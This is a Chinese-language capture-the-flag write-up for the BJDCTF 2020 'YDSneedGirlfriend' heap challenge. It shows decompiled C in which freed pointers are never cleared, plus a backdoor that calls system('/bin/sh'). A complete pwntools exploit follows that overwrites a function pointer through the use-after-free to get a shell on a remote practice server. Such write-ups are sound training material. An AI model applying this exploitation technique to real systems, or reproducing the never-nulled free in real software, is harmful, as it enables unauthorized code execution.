[BJDCTF 2020]YDSneedGirlfriend

简单的 UAF

unsigned __int64 add_girlfriend()
{
  __int64 v0; // rbx
  int i; // [rsp+8h] [rbp-28h]
  int v3; // [rsp+Ch] [rbp-24h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  if ( count <= 10 )
  {
    for ( i = 0; i <= 9; ++i )
    {
      if ( !*(&girlfriendlist + i) )
      {
        *(&girlfriendlist + i) = malloc(0x10u);
        if ( !*(&girlfriendlist + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;
        printf("Her name size is :");
        read(0, buf, 8u);
        v3 = atoi(buf);
        v0 = (__int64)*(&girlfriendlist + i);
        *(_QWORD *)(v0 + 8) = malloc(v3);
        if ( !*((_QWORD *)*(&girlfriendlist + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Her name is :");
        read(0, *((void **)*(&girlfriendlist + i) + 1), v3);
        puts("Success !Wow YDS get a girlfriend!");
        ++count;
        return __readfsqword(0x28u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 del_girlfriend()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( *(&girlfriendlist + v1) )
    {
      free(*((void **)*(&girlfriendlist + v1) + 1));
      free(*(&girlfriendlist + v1));
      puts("Success");
    }
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 print_girlfriend()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( *(&girlfriendlist + v1) )
      (*(void (__fastcall **)(_QWORD))*(&girlfriendlist + v1))(*(&girlfriendlist + v1));
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}
int __fastcall print_girlfriend_name(__int64 a1)
{
  return puts(*(const char **)(a1 + 8));
}
int backdoor()
{
  puts("YDS get N+ girlfriend!");
  return system("/bin/sh");
}

存在UAF漏洞,我们需要将某一个 (**(&girlfriendlist + v1)) 改为后门函数即可 get shell

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

# elf = ELF()
# libc = ELF()

# io = process('./girlfriend')
io = remote("node4.anna.nssctf.cn",20069)

# io = gdb.debug('./girlfriend', gdbscript='set pagination off\nb *0x400A16\nb *0x400AE3\nb *0x400B9A\nc')

def add(size,data):
    io.recvuntil(b"Your choice :")
    io.sendline(b"1")
    io.recvuntil(b"Her name size is :")
    io.sendline(str(size).encode())
    io.recvuntil(b"Her name is :")
    io.sendline(data)

def delete(i):
    io.recvuntil(b"Your choice :")
    io.sendline(b"2")
    io.recvuntil(b"Index :")
    io.sendline(str(i).encode())

def show(i):
    io.recvuntil(b"Your choice :")
    io.sendline(b"3")
    io.recvuntil(b"Index :")
    io.sendline(str(i).encode())

backdoor = 0x400B9C

add(0x20,b"aaaa")
add(0x20,b"bbbb")

delete(0)
delete(1)

payload = p64(backdoor)
add(0x10,payload)

show(0)

io.interactive()